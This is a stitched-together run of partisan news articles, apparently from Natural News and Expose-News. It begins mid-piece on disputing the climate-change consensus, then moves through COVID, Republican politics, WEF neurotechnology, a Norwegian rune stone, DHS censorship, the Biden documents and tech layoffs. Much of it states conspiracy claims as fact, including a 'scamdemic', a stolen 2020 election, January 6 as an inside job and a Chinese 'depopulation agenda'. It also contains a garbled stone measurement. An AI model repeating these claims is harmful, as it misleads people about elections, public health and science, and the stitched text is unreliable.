Note that the official consensus position  supported though it was by just 0.3% of the 11,944 papers reviewed  says nothing more than recent warming was mostly man-made. Even if that were the case  and the overwhelming majority of scientists take no view on that question, for it is beyond our present knowledge to answer  it would not indicate that global warming is dangerous.

If you tell a lie big enough and keep repeating it, people will eventually come to believe it.  Joseph Goebbels

From the information we have just reviewed, the percentage of scientists who agree with the notion of man-made catastrophic global warming is significantly less than advertised. Several unbiased attempts have been made to assess what the actual number might be. One of the largest petitions concerning climate change was the Oregon Petition signed by more than 31,000 American scientists, including 9,029 holding PhDs, disputing the notion of anthropogenic climate alarmism (Figure 3).

Figure 3  Edward Tellers signature at http://petitionproject.com

More recently, in 2016, George Mason University (Maibach 2016) surveyed more than 4,000 members of the American Meteorological Society and found that 33% believed that climate change was not occurring, was at most half man-made, was mostly natural, or they did not know. Significantly, only 18% believed that a large amount  or all  of additional climate change could be averted.

Science does not advance through consensus, and the claim of consensus has no place in any rational scientific debate. We ask: What do the data tell us? What does it mean? Can we reproduce the results? If those promoting man-made climate fear need to resort to an obviously flawed consensus opinion, rather than argue the merits of the science, havent they already conceded that their argument cannot be won through open debate?

Cooks 97% nonsensus [sic] paper shows that the climate community still has a long way to go in weeding out bad research and bad behaviour. If you want to believe that climate researchers are incompetent, biased and secretive, Cooks paper is an excellent case in point.  Professor Richard Tol

Lets be clear: the work of science has nothing whatever to do with consensus. Consensus is the business of politics. Science, on the contrary, requires only one investigator who happens to be right, which means that he or she has results that are verifiable by reference to the real world. In science consensus is irrelevant. What is relevant is reproducible results. The greatest scientists in history are great precisely because they broke with the consensus. There is no such thing as consensus science. If its consensus, it isnt science. If its science, it isnt consensus. Period.  Michael Crichton

References

About the Author

Gregory Wrightstone is a geologist, bestselling author of Inconvenient Facts, and an Expert Reviewer for the Intergovernmental Panel on Climate Change (AR6). He published the article above on 28 October 2021.

Read more at: Expose-News.com
(Natural News) Some doctors pushing for Wuhan coronavirus (COVID-19) mandates on social media are actually fake and nonexistent.

A December 2022 report about this matter by Joshua Gutterman Tranen of the San Francisco Standard zoomed in on two users: Drs. Robert and Patrick Honeyman  a gay couple.

Tranen initially had doubts when he learned that Roberts name does not exist in any academic works or institutions. His doubts were proven right upon discovering that Roberts profile picture was taken from a stock image website. He also found that Patricks profile picture was actually from an insurance professional in Indiana.

Robert claimed to be a doctor of sociology and feminist studies in his profile, and also had the transgender and Ukraine flags on his handle. Aside from this, Robert claimed to be a transgender individual promoting diversity.

Meanwhile, Patrick  who also touted a rainbow flag in his bio  was said to have been comatose due to a COVID-19 infection.

Sad to announce that my husband has entered a coma after being in a hospital with COVID. The doctor is unsure if he will come out, Robert tweeted in December 2022. The previous month, Roberts sister supposedly died of COVID-19.

Robert later wrote in July about suffering from monkeypox that allegedly left him bedridden. In October, Robert claimed to be a victim of a transphobic attack.

Aside from the Honeyman couple, the article by the Standard revealed that two more individuals were posing as doctors. (Related: BUSTED: Those ER doctors on Twitter who claimed hordes of patients were dying from COVID every day were FAKE.)

Dr. Gerold Fischer, who described himself as an ally for all in the LGBTQ+ community, displayed rainbow, transgender and Ukraine flags next to his name. He also attached the hashtag #WearAMask on his bio.

Dr. Steve Ville, meanwhile, claimed to be affiliated with the University of Antwerp in Belgium. Just like Fischer, he described himself as an LGBTQ+ ally and a proud mask-wearer.

The four fictional doctors frequently interacted with each other on Twitter with Robert claiming that Fischer, who was suffering from post-COVID brain fog, was the sharpest individual he met at university.

Tranen points out the four fake accounts similarities

All four doctors had a few things in common, Tranen pointed out. Three had created their accounts during the pandemic. Fischers account dated to 2019, but his earliest visible tweet was from July 2022.

All four accounts urged caution about COVID. They also amplified the voices of other Twitter users calling on the public to mask, vaccinate and socially distance (themselves). At times, they criticized policies that they felt undermined pandemic safety and individuals who they believed did not take COVID seriously enough.

Tranen concluded: The Honeymans offer one of the most blatant examples of this. It is unclear who created the two doctors, but their bios and personas signpost identities meant to appeal to a certain type of Twitter denizen  liberal, pro-diversity and concerned about COVID  or meant to provoke the opposite of that type of person.

Favocci also put in her two cents on the four fictional doctors.

Its no surprise there are fake accounts on Twitter. However, the flavor of these particular accounts, and the fact that they seem to be run by flesh and blood people, leaves many questions about who or what might be behind this effort, she wrote.

Its one thing to have a bot or artificial intelligence program that posts or retweets, but going through the trouble of hiring actual people seems a bit more careful and professional. Perhaps the people behind these accounts just wanted to stoke divisions and spur social media engagement for the sake of online revenue.

Faked.news has more stories about fictional social media users.

Watch Stew Peters and DeAnna Lorraine talk about fake doctors on Twitter pushing the COVID-19 vaccines.

This video is from the Contrarian channel on Brighteon.com.

More related stories:

These doctors pushed masking, COVID lockdowns on Twitter. Turns out, they dont exist.

Whistleblower reveals BOTS comprise the majority of Twitter users, confirming Elon Musks suspicion.

Elon Musk is exposing the great FRAUD of Twitter: Its mostly just AI bots pretending to be real people.

Sources include:

WesternJournal.com

SFStandard.com

Brighteon.com
(Natural News) Political consultant Roger Stone recently blasted Florida Gov. Ron DeSantis for his not-so-secret plan to challenge former President Donald Trump in the Republican primaries for the 2024 elections.

The GOP lobbyist disclosed the truth about the governors plans during his appearance on the Jan. 18 episode of The Zelenko Report on Brighteon.TV. He told program host Ann Vandersteel that while DeSantis is saying the right things and implementing laws that seem to benefit Americans, things arent what they appear to be.

According to Stone, DeSantis plans to use the remaining political action committee (PAC) funds to snatch the nomination from Trump.

With over $150 million in PAC fund left over from his gubernatorial run and a deep bench of anti-Trump billionaire donors, the governor is methodically preparing to challenge the man who is more responsible for putting [him] in the governors mansion than any other Republican, he wrote in a Jan. 18 article on his Substack.

Stone further eviscerated DeSantis for not being a MAGA Republican and for refusing to endorse Trump while still serving as a congressman in 2016. After Trump had clinched the GOP nomination, [he] raised [DeSantis] from obscurity to the governors mansion, he pointed out.

The political consultant then told Vandersteel: And now, in what I consider to be an extraordinary act of disloyalty and treachery, [the Florida governor] is planning to challenge the [former] president. [DeSantis is] an establishment Republican with huge billionaire donors.

Stone: Desantis talks the talks, but doesnt walk the walk

The consultant also outlined two examples of how the rhetoric of the Sunshine States chief executive is not what people believe it to be, especially when it comes to health freedom.

One example Stone cited is how DeSantis called on the Florida Supreme Court to impanel a grand jury to investigate whether Floridians had been misled about the safety and effectiveness of the Wuhan coronavirus (COVID-19) vaccines. (Related: Gov. DeSantis: Big Pharma will pay for deceiving the public with false advertising about COVID-19 vaccines.)

But what he doesnt tell you is that he signed a law giving those who made this vaccination a full and complete legal immunity, he said, adding that on the contrary, he championed the vaccination.

Another example the consultant cited was how DeSantis outlawed mask and vaccine mandates. But in reality, these have not been enforced  citing the example of his own daughter who works in the medical field.

My daughter is an emergency room nurse at a very prominent local hospital, fighting for her job because she refuses to be vaccinated, Stone shared. They refuse to let her work without being masked.

Lastly, Stone cited how DeSantis blocked public schools in Florida from teaching critical race theory (CRT). He commented: It sounds good. It was great rhetoric before the election.

But here in Broward County  the largest school district (SD) in the state and the sixth-largest SD in the U.S.  [the school board] just adopted a curriculum that is nothing but pure, unadulterated CRT. This is not the only county where that is the case.

Ultimately, the political consultant emphasized how DeSantis talks the talk, but really does not walk the walk.

Vandersteel agreed with Stone, pointing out that Republicans should be very careful who to support in the next primaries. People who are looking for medical freedom and bodily sovereignty need to stay very attuned at this point in time, she said.

DeSantisObserver.com has more stories about the Florida governor.

Watch the January 18 episode of The Zelenko Report with Ann Vandersteel featuring Roger Stone below. Catch new episodes of the program every weekday at 1:00 p.m. on Brighteon.TV.

More related stories:

Trump launches unhinged attacks on GOP governors DeSantis and Youngkin, gets major pushback.

Ron DeSantis makes huge announcement about political future after he blows out Dem challenger.

DeSantis slams weaponized federal agencies for raid on Trumps Mar-A-Lago.

Insider attorney says decision already made: Trumps 2024 running mate will be Fla. Gov. Ron DeSantis.

Sources include:

Brighteon.com

RogerStone.substack.com
(Natural News) A speaker during the annual meeting of the World Economic Forum (WEF) in Davos, Switzerland has touted a technology that allows companies to monitor their employees brains.

Legal ethicist Nita Farahany of Duke Universitys School of Law remarked that wearable mind-reading devices are no figment of the future during her Jan. 19 talk titled Ready for Brain Transparency in Davos. She described these devices as akin to Fitbits for the brain, similar to Neuralink implants conceptualized by Tesla and Twitter CEO Elon Musk.

The Iranian-American scholar proceeded to elaborate on what these devices look like. She told the audience: These are headbands, hats that have sensors that can pick up your brainwave activity, earbuds, headphones, tiny tattoos that you can wear behind your ear.

We can pick up emotional states. We can pick up and decode faces that youre seeing in your mind; simple shapes; numbers; your PIN [for] your bank account.

Farahany also joined the WEF meetings Transforming Medicine, Redefining Life panel discussion on Jan. 20, a day after her talk. During the discussion, she emphasized that such mind-reading technologies ought to be integrated into multi-functional devices.

According to the Duke scholar, mind-reading technologies have the potential to solve potential problems in the workplace. In over 5,000 companies across the world, employees are already having their brain activity monitored to test for their fatigue levels, Farahany said. We, as a society, should want that.

Farahany cited the example of train conductors in the Beijing-Shanghai railway lines who are required to wear hats that pick up their brain activity. Some mining companies worldwide are also resorting to wearable devices to keep tabs on their workers, she added. (Related: Companies begin planting microchips under employees skin.)

Farahany: Wearables can be the most oppressive technology

The legal ethicist continued: [While we] cant decode speech using simple wearable devices, that doesnt mean there isnt a lot we can already decode. This extent of data gathering, according to Farahany, will considerably increase in the coming days as AI becomes more powerful [and] the sensors become more powerful.

Done well, neurotechnology has extraordinary promise. Done poorly, it could become the most oppressive technology weve ever introduced in a large scale across society.

Thus, Farahany called for a nuanced conversation over the matter.

But according to Paul Joseph Watson of Summit News, wearable mind-reading devices could serve the bigger goal of the WEF  the combination of human intelligence and AI for censorship.

Despite the fact that no one asked, the WEF is now advocating for the merger of human [intelligence] and AI systems to censor hate speech and misinformation online before it is even allowed to be posted, he wrote back in August 2022.

They want to merge the best aspect of human censorship and AI machine learning algorithms to ensure that peoples feelings dont get hurt and counter-regime opinions are blacklisted.

Watson concluded: In other words, your free speech will probably get censored before youre even able to post it on social media. Some are calling it preemptive censorship.'

Watch this earlier lecture by Nita Farahany that warns about brain decoding causing employees to be fired over what they are thinking about.

This video is from the WAKE UP channel on Brighteon.com.

More related stories:

Neuralink brain chip implants to be tried on humans despite causing MULTIPLE DEATHS in animal trials.

Globalists following planetary script to REPLACE HUMANS with AI systems  you are now obsolete.

Inventor claims device will enable tech-augmented telepathy to function within a decade.

When 6G is released, humans will function as walking power source antennas.

Microchip implanted in your hand? Why worry?

Sources include:

LifeSiteNews.com

SummitNews.com

Brighteon.com
(Natural News) Archaeologists in Norway announced on Jan. 17 that they found the worlds oldest rune stone. The flat, square block of brownish sandstone with inscriptions made almost 2,000 years ago may be the first example of writing in Scandinavia.

The so-called Svingerud Stone, discovered in a cremation pit filled with burnt bones and charcoal that date between 1 A.D. and 250 A.D., measured 312.2 inches by 12.6 inches. It was uncovered during an excavation of a grave field in the Hole municipality at the Ringerike region, west of the Norwegian capital Oslo.

This find will give us a lot of knowledge about the use of runes in the early Iron Age. This may be one of the first attempts to use runes in Norway and Scandinavia on stone, said professor Kristel Zilmer of the University of Oslo (UiO). Without [a] doubt, we will obtain valuable knowledge about the early history of runic writing. (Related: Ancient Chinese texts may be the oldest surviving anatomical atlas, study finds.)

Eight runes on the front of the stone were translated to For Idibera, who could be the person cremated in the pit. Zilmer nevertheless remarked that further work needs to be done in order to decode the runes on the stone.

We needed time to analyze and date the runestone, she told the Associated Press.

The Svingerud Stone will be exhibited for a month beginning Jan. 21 at the Museum of Cultural History in Oslo. The museum, which is part of UiO, holds Norways biggest collection of historical artifacts from the Stone Age to the modern time.

Runes are a set of characters used to write different Germanic languages prior to the adoption of the Latin alphabet. The Vikings mainly used the Scandinavian versions of the characters, called futhark.

Runes were used to immortalize key events in Scandinavian society

Most of the examples of runes obtained from Scandinavia hail from Sweden, with over 3,000 inscriptions. Neighboring Denmark, meanwhile, has contributed about 250 rune stones from the Viking Age.

The principal purpose of runes was to mark territory, explain inheritance, boast about constructions, bring glory to dead kinsmen and speak of important events. But during an interview with Science Norway, Zilmer posited that the Svingerud Stone may have been possibly used to either memorialize the dead or serve as practice for someone learning the characters.

Back in 2020, archaeologists managed to decode the runes inscribed on a famous Viking relic known as the Rok Stone. The stone, which stands more than eight feet tall, was built in the late 800s near Lake Vattern in south-central Sweden. While more than 700 runes cover its five sides, missing or worn-away pieces of the rock has made it difficult for experts to decode the stones meaning.

The prevailing theory was that the Rok Stone was a dedication to Theodoric the Great, the legendary Ostrogoth king who ruled in what is today Italy.

But in January 2020, archaeologists said the runes on the stone pertain to a heartbroken parents fear that the cold weather that killed their child may return. They added that the stone talks about a lasting battle against severe cold weather in the sixth century. It is well-known that during the sixth and seventh centuries, more than half of all Scandinavians died as cold temperatures caused widespread destruction.

Watch this video that outlines the secret of the runes of the Elder Futhark.

This video is from the Chandor channel on Brighteon.com.

More related stories:

Man and his dog: A new discovery of carved rock images showing dogs on leashes are estimated to be 9,000 years old.

Recent study reveals ancient text found in 2012 is the oldest map of the underworld in existence.

Ancient stone carvings depict a massive comet strike 13,000 years ago that nearly made humans extinct.

Ancient art: Scientists discover 143 new Nazca line drawings previously hidden in Peru.

Innate ingenuity: Ethiopian dig unearths ancient stone tools, some of the oldest ever discovered at more than 2.58 million years old.

Sources include:

DailyMail.co.uk

ABCNews.go.com

Brighteon.com
(Natural News) If it is starting to seem like the fight against covid vaccination and other tyranny stemming from the scamdemic is a little too coordinated and inauthentic, the reason could be that the health and medical freedom movements are being infiltrated by chaos agents whose job it is to misdirect and eventually lead true adherents to the cause straight off a cliff.

Mathew Crawford of Rounding the Earth recently discussed this growing problem with The New Americans Veronika Kyrylenko, explaining that using controlled opposition and psychological manipulation, or psy-ops, is a tried-and-true playbook that the bad guys use to derail the efforts of the good guys.

Be sure to watch the full video interview with Crawford at The New American.

One recent example of this was the Freedom Convoy trucker movement in Canada, which we now know was infiltrated with chaos agents. There was also the January 6 insurrection, which appears to have been a deep state inside job. Crawford also voices questions about the recent Died Suddenly documentary  check out our earlier report addressing some of the controversy surrounding Died Suddenly.

Also, be sure to check out earlier coverage about how the so-called alt right was actually created by the radical Left as controlled opposition to conservative activism.

Be careful not to jump the gun on calling someone a chaos agent

In order to successfully pull off the types of psy-ops that we are now seeing, the deep state has to spend lots of money  which they have an endless supply of, by the way, thanks to QE-infinity and other fiat currency manipulation scams.

The military-industrial complex, which is flush with cash and weapons, is another driving force behind the controlled opposition of the deep states chaos agents.

In the final part of Crawfords 11-part Proof of Effective Disinformation series, Crawford addresses claims made by someone citing the data that Thomas Renz collected from the Defense Medical Epidemiology Database (DMED) about covid jab injuries and deaths in the military. Crawford, who was brought in by Renz to analyze the data, found it to be unclear.

While Tom isnt making this clear, the numbers he presented at the Johnson hearing were invalid and nonsensical, Crawford wrote in response to someone named Asli Theobald who claims to have been banned from Truth Social for trying to share an article about allegedly doctored data from the DMED database.

Theobald responded to Crawford with a nasty and wildly accusatory and off-base message on Renzs Substack, to which Crawford then responded back with numerous links to his own articles about the subject.

I am the Statistician whom Tom brought on to examine the DMED database, and who did nearly all of that work, Crawford wrote to Theobald. If you feel that I am in error about any of it, please let me know where you take issue. I have documented that work with great care.

It turns out that Theobald is the likely author of the article she tried to share containing misinformation about Renzs data and Crawfords analysis of it. It was banned from Truth Social for reasons unrelated to Renzs claims  mainly because she apparently piggybacked on them and came up with her own spin on it.

The reason we are telling you all this is because Theobald and her interaction with Crawford is an excellent example of needless friction. She came onto the thread and started stirring up trouble without ever having even contacted the original sources for her misleading claims  those sources being Renz and Crawford.

The good news in this instance is that Theobald later read Crawfords provided articles, came to the same conclusions that he did, and apologized to him for the chaos she introduced  suggesting she is not a bad actor.

The sad truth, though, is that there are many actors in the health freedom space who deliberately attempt to cause chaos and division, all to derail the good-faith efforts of true health and medical freedom fighters who are trying to do good.

Sources for this article include:

TheNewAmerican.com

NaturalNews.com

NaturalNews.com

RoundingTheEarth.substack.com
(Natural News) The Democratic lefts grotesque hypocrisy continues to be exposed the longer Joe Bidens disastrous presidency lasts.

The deep state-aligned Justice Department only cracks down on conservatives; Bidens document scandal is getting worse without much of a mention in the Democrat-aligned press; two quarters of negative growth is no longer considered the telltale sign of a recession; and now Bidens tanking economy has led to a massive increase in layoffs by major companies, which would have been top-of-the-hour news for weeks on end if a Republican president were in the White House.

As reported by Fox Business, large companies across various sectors are laying off workers at staggering rates, putting the state of the economy in question.

The outlet continues:

Among the latest announcements is Microsoft, which said Wednesday the company plans to cut 10,000 workers after shares of Microsoft fell more than 20% during the past 12 months.

An even bigger round of layoffs went into effect this week at Amazon after CEO Andy Jassy announced this month that roughly 18,000 workers would be let go, mainly from the retail division and PXT (People Experience and Technology), which deals with human resources and other matters.

Amazon has weathered uncertain and difficult economies in the past, and we will continue to do so, Jassy wrote in a blog post on Jan. 4. These changes will help us pursue our long-term opportunities with a stronger cost structure.

The downsizing trend is actually months old. Facebook parent company Meta noted in November that 11,000 jobs were on the chopping block as the company also implemented a hiring freeze for the first quarter of 2023.

I want to take accountability for these decisions and for how we got here, CEO Mark Zuckerberg said at the time. I know this is tough for everyone, and Im especially sorry to those impacted.

Zuckerberg also pointed to the aftermath of the Wuhan coronavirus (COVID-19) lockdowns. According to him, the public health mandate triggered a surge in e-commerce activity  leading him to project a bigger-than-expected growth in revenue.

Many people predicted this would be a permanent acceleration that would continue even after the pandemic ended. I did too, so I made the decision to significantly increase our investments. Unfortunately, this did not play out the way I expected.

Other reports, meanwhile, honed in on the companys heavy investment in the Metaverse that utilizes virtual reality and augmented reality headsets. The endeavor has cost Meta $9.4 billion for 2022 alone, with the company anticipating that losses will grow significantly year-over-year.

The Meta CEO noted in a call with analysts that the company plans to focus investments on a small number of high-priority growth areas this year.

That means some teams will grow meaningfully, but most other teams will stay flat or shrink over the next year. In aggregate, we expect to end 2023 as either roughly the same size or even a slightly smaller organization than we are today, he added.

But there has been more hemorrhaging of jobs, especially in the tech sector. Alphabet, Googles parent company, has slashed 15 percent of the staff at health sciences division Verily, which impacted 200 jobs. In an email to employees last week, CEO Stephen Gillett noted that the staff reduction means work will stop on the Verily Value Suite medical software and other products that were early in their developmental stages, according to The Wall Street Journal.

Twitter, Salesforce and others were laying off as the end of 2022 approached. Around 100,000 employees have lost their jobs since the beginning of last year, including 20,300 employees in November alone.

Despite the layoffs, the White House tweeted an Orwellian message, saying, remarkably, that is cause for optimism when it comes to the economy. In addition, the post featured an image of an Economic To-Do List, which included the items Create good jobs and Keep a strong job market.

President Biden is building an economy from the bottom up and the middle out  with more reasons for optimism this year. pic.twitter.com/1SHGkSNsrY  The White House (@WhiteHouse) January 19, 2023

Sources include:

FoxBusiness.com

CNBC.com
(Natural News) Polymath Dr. Paul Cottrell recently warned that there could be a bigger, more sinister agenda behind Chinas use of the HIV drug Azvudine to treat white lung syndrome or serious pneumonia. He noted that Chinese hospitals are refusing to use monoclonal antibodies and other available treatments for the disease.

It could be a part of depopulation agenda, Cottrell said. Some will die. And there was a leader in the scientific community in China that stated another 10 million Chinese will die.

He added that for the ruling Chinese Communist Party (CCP), the population loss would not be a big deal because they have 1.5 or 1.4 billion people.

Azvudine received conditional approval from Chinese authorities in July 2021.

An article in the state-owned Chinese newspaper Peoples Daily pointed out that Azvudine has been approved because it was a cheaper COVID-19 treatment than Pfizers Paxlovid medication. Chinas largest publication added that there was a dramatic improvement in patients who took Azvudine.

The medications price has not been determined, but should be much lower than pharmaceutical company Pfizers Paxlovid pill, which costs about 2,300 yuan ($340) per dose, the write-up included.

According to Cottrell, about five percent of Chinese who sought treatment at hospitals and clinics had pneumonia. Most of them managed to fully recover, but a few would die within days. Thus, authorities warned that both old and young COVID-19 patients could suffer from white lung syndrome if they fail to seek medical treatments as soon as possible. (Related: Paul Cottrell reveals how vaccine-induced immunity diminishes over time  Brighteon.TV.)

Experts blame lockdowns for prevalence of white lung syndrome

White lung syndrome pertains to clusters of inflammatory cells in the lungs being detected in both X-rays and CT scans. These are seen as signs of inflammation and pneumonia, and are present in moderate to severe COVID-19. Experts put in their two cents on the white lung issue.

It doesnt make sense, Baylor University pulmonary critical care specialist Dr. Joseph Varon remarked. He mentioned that the in general, the milder B11529 omicron strain does not give white lungs. Moreover, Varon said images of X-rays posted on Chinese social media platforms suggest that the culprit is very similar to the earlier B16172 delta strain.

Microbiologist Dr. Stanley Perlman said he wasnt surprised to learn about the reports of white lung syndrome in China. He blamed the CCPs zero-COVID policies and stringent lockdowns for the prevalence of this health issue. Perlman added that this meant most people likely had both low exposure and immunity to SARS-CoV-2, increasing their chances of developing severe disease.

Dr. William Schaffner concurred with the other experts. According to the infectious disease professor, the lockdowns have reduced viral exposure and natural immunity.

In China, the lockdown was so rigorous [that] it really reduced the transmission of COVID, Schaffner said.

Former World Health Organization medical officer Dr. David Bell, meanwhile, blamed Chinas lockdown policies for contributing to large outbreaks. The infectious disease expert argued that it was not new knowledge that lockdowns cannot control a respiratory virus and that such measures can potentially impair peoples immune systems if prolonged.

Read more stories about the COVID-19 situation in China at CommunistChina.news.

Watch Dr. Paul Cottrell discuss Chinas use of Azvudine against white lung syndrome.

This video is from the Dr. Paul Cottrell channel on Brighteon.com.

More related stories:

Rare nationwide protests erupt across China to challenge CCPs zero-COVID policy.

Chinas draconian zero-COVID policy leading people to SUICIDE.

China stocks on a DOWNHILL trend as COVID cases rise.

Xi Jinping could be ousted in a coup amid protests against Chinas zero-COVID policy, former diplomat warns.

Sources include:

Brighteon.com

AsiaTimes.com

En.People.cn

ACSH.org

TheEpochTimes.com
(Natural News) Connecting the Dots host Dan Happel remarked that a Constitutional Convention (Con-Con) under Americas current political condition is a bad idea.

Its a con, he remarked, in reference to the synonym for a ruse or a scam. The fact is that the Con-Con being proposed by some people in this country would be an absolute nightmare. We need everything in our power to stop this because if it actually happens in a woke environment, were in serious trouble.

Happel emphasized during the Jan. 17 edition of his Brighteon.TV program that the American people should be against the idea of a Con-Con. The host continued that Americans need to be actively engaged in the process of stopping any Con-Cons organized under Article Five of the Constitution.

His guests Robert Brown and Ed Regan agreed.

Brown, a national spokesman on constitutional issues, explained that Article Five outlines two ways of making changes to the Constitution. First, Congress can propose amendments and send these out to the states for ratification. Second, state legislatures can apply for a Con-Con to Congress  with the federal legislature then calling for the assembly to propose amendments. These then go to the states for ratification. (Related: Critical Disclosure with James White: Theres no need to amend the Constitution, says Robert Brown  Brighteon.TV.)

In both cases, amendments to the Constitution can be ratified by either state legislatures themselves or Congress itself via a special ratifying convention that bypasses state assemblies.

Brown: It is suicidal to have Con-Con in todays political environment

Brown also pointed out that this Con-Cons sole purpose is to create new amendments to the Constitution. Groups promoting it, including the Convention of States Action, were not honest about what the convention could entail. Based on historical and legal precedents, such a convention could empower legislators to do anything  including writing their own rules for ratifying the Constitution.

If the Con-Con was promoted honestly, none would sign up for it and even state legislatures would not apply. Moreover, Brown added that the Con-Con would be the biggest lobbyist event in history, with a lot of money being poured out compared to regular session in a state legislature.

According to the constitutional expert, both internal and external factors  such as extremist groups, a sudden event and foreign powers  could influence the Con-Cons outcome. It is also possible for the mainstream media to manipulate public opinion using this event.

Brown pointed out that sticking to this fundamental document could help solve many of the problems the U.S. is facing right now. One such problem, he said, is the federal governments spending problem.

Thats a massive difference from where we are today. The federal government, at that point, would be far less abusive and intrusive into our daily lives. It would be almost unrecognizable how different the federal government would be than it is today, he said.

So thats what a convention would look like today. I would call it suicidal to try to have a Constitutional Convention in todays political environment.

Follow Liberty.news for more news about fighting for the U.S. Constitution.

Watch the Jan. 17 episode of Connecting The Dots below. You can catch Connecting The Dots with Dan Happel every Tuesday at 5-6 p.m. on Brighteon.TV.

More related stories:

RED ALERT: New WHO pandemic treaty in final stages, would overrule the US Constitution and unleash medical dictatorship, warns Dr. Francis Boyle.

Constitutional scholar David Jose: Americans have power over their government  Brighteon.TV.

America Unhinged: Americans must use Constitution to keep government under control  Brighteon.TV.

Sources include:

Brighteon.com

JBS.org
(Natural News) We know that the FBI was heavy into moving Twitter, under the old management team, to ban and censor some users and content that did not parrot the deep states narratives on a range of issues from vote fraud in 2020, government-sponsored COVID-19 misinformation, the dangers of coronavirus vaccines, and, of course, the suppression of incriminating evidence and information on Hunter Bidens damning laptop.

We also know that the Department of Homeland Security was involved somewhat, but now we learn that DHSs involvement in censoring content and getting problematic users booted off the platform was just as extensive as the FBIs involvement, if not more so.

According to the Substack account Kanekoa the Great, the country should be grateful to billionaire Elon Musk, the SpaceX and Tesla CEO, for buying Twitter and tasking a number of journalists with exposing the collusion between federal agencies like the FBI and the former Twitter management team.

Whats been missing from much of this analysis is the Department of Homeland Securitys (DHS) role in this censorship through a consortium called the Election Integrity Partnership (EIP), made up of four organizations: the Stanford Internet Observatory (SIO), the University of Washingtons Center for an Informed Public, the Atlantic Councils Digital Forensic Research Lab, and Graphika, a social media analytics company, Kanekoa noted.

The EIP published a report on its censorship of the 2020 election, The Long Fuse: Misinformation and the 2020 Election, which describes how the private-public censorship consortium was formed in the summer of 2020 to monitor and correct election mis- and disinformation,' the report noted further.

In short, it appears as though the DHS and Twitter collusion racket was hiding in plain sight.

The censorship network, Kanekoa continued, worked in tandem with the Cybersecurity and Infrastructure Security Agency (CISA), a branch of the Department of Homeland Security (DHS), the State Departments Global Engagement Center (GEC), and the DHS-backed Elections Infrastructure Information Sharing and Analysis Center (ISAC) as the 2020 election cycle began, operating as technocratic thought police forwarding tickets of mis- and disinformation to social media companies.

In other words, the federal governments various agencies within the DHS were telling the social media platforms what was and was not propaganda and state-sponsored election interference  when now we know that those same agencies were really just acting as propaganda and misinformation spreaders to harm Donald Trump and help Joe Biden. Talk about your master psychological warfare operation.

Kanekoa noted further:

A report from the Foundation for Freedom Online (FFO), a non-profit founded by Mike Benz, entitled DHS Censorship Agency Had Strange First Mission: Banning Speech That Casts Doubt On Red Mirage, Blue Shift Election Events details this government speech control machine and its ability to control the narrative during the 2020 election.

The DHSs speech control partners singled out billions of social media posts on all the major platforms  Twitter, Facebook, YouTube, Google, etc.  and claimed they were misinformation, urging the platforms to take them down, censor them outright, or throttle them so that their reach would be dramatically limited (kind of like what Fakebook and the rest of the social media criminals are still doing to conservative content).

The end result was that through CISA, the department outsourced censorship duties to private partners in a way that the government could never have done legally or constitutionally.

Formed in 2018, CISAs stated mission was to protect America from cybersecurity threats from hostile foreign countries, but that mission was quickly and quietly corrupted when the branch of DHS designated foreign and then domestic disinformation as attacks on critical infrastructure, Kanekoas report noted.

Thats significant because for years, the social media platforms argued that they were not critical infrastructure and thus subject to government regulation like telephone and cellphone service. Now we know that they were considered critical for the sole purpose of politically manipulating narratives and stifling content.

Our government is completely and thoroughly corrupt, and worse, the corruption is being abetted now by private corporations for the purpose of allowing them to remain in business.

No wonder the deep state left is so angry at Elon Musk and is now targeting him for cancellation.

Sources include:

Kanekoa.Substack.com

FoundationForFreedomOnline.com
(Natural News) All Americans heard for weeks after the FBI conducted an unprecedented raid on former President Donald Trumps Mar-a-Lago estate in August, ostensibly to retrieve highly classified documents that the regime knew were there for more than a year, was how awful it was and how much risk the country was put under by the reckless act.

Never mind that Trump, as president, had unrestrained authority to declassify any documents he wanted at any time during his presidency  and he said following the raid he had done so regarding the documents he had in his possession before having his reelection stolen from him.

Suddenly, after similarly classified documents were found at a private office Joe Biden used in Washington, D.C., and at his Wilmington, Del., home, most of the same left-wing voices who claimed Trump had destroyed the country are silent over Bidens abuse. Worse, Biden was a U.S. senator and vice president; he has never had the authority to declassify those documents, now known to have been taken after he and Barack Obama served their two terms.

But now, the situation has gotten even worse: More documents were found at Bidens place after an FBI search (that was agreed to by Bidens lawyers, unlike Trump, who was never given a choice) over the weekend.

DOJ took possession of materials it deemed within the scope of its inquiry, including six items consisting of documents with classification markings and surrounding materials, some of which were from the Presidents service in the Senate and some of which were from his tenure as Vice President. DOJ also took for further review personally handwritten notes from the vice-presidential years, the presidents White House counsel said.

The search was conducted over a 12-hour period on Friday with the approval of the presidents attorneys, CNN reported:

Those six items are in addition to materials previously found at Bidens Wilmington residence and in his private office.

The federal search of Bidens home, while voluntary, marks an escalation of special counsel Robert Hurs probe into the presidents handling of classified documents and will inevitably draw comparisons to his predecessor, former President Donald Trump  even if the FBIs search of Trumps residence was conducted under different circumstances.

Just days earlier, the Department of Justice decided not to monitor President Bidens attorneys as they searched for classified documents he may have mishandled, according to The Wall Street Journal, clearly revealing a huge double standard. It should be noted that there is no indication yet that the presidents attorneys have the appropriate government security clearances to view classified documents of any level.

In a letter last week to U.S. Attorney General Merrick Garland, Rep. Jim Jordan (R-Ohio), now head of the House Judiciary Committee, said that it was his committees responsibility to conduct oversight on the burgeoning scandal and added that he expected the DOJ to cooperate.

On January 12, 2023, you appointed Robert Hur as Special Counsel to investigate these matters, Jordan and Rep. Mike Johnson (R-La.) wrote. The circumstances of this appointment raise fundamental oversight questions that the Committee routinely examines. We expect your complete cooperation with our inquiry.

It is unclear when the Department first came to learn about the existence of these documents, and whether it actively concealed this information from the public on the eve of the 2022 elections, the two lawmakers wrote.

It is also unclear what interactions, if any, the Department had with President Biden or his representatives about his mishandling of classified material. The Departments actions here appear to depart from how it acted in similar circumstances, the letter continued.

The two lawmakers went on to rip Garland for approving a Gestapo-type raid on Trumps home.

In fact, on August 8, 2022, despite the publicly available evidence of President Trumps voluntary cooperation, you personally approved the decision to seek a warrant for excessive and unprecedented access to his private residence. On August 15, 2022, Committee Republicans wrote to you and FBI Director Christopher Wray requesting documents and information related to the FBIs raid of President Trumps residence, they wrote.

Sources include:

ConservativeBrief.com

WSJ.com

CNN.com
(Natural News) Japan and India launched their first joint air combat drills on Jan. 12 as both nations seek to bolster their defense ties due to the growing threat posed by the Chinese communist regime in the Asia-Pacific.

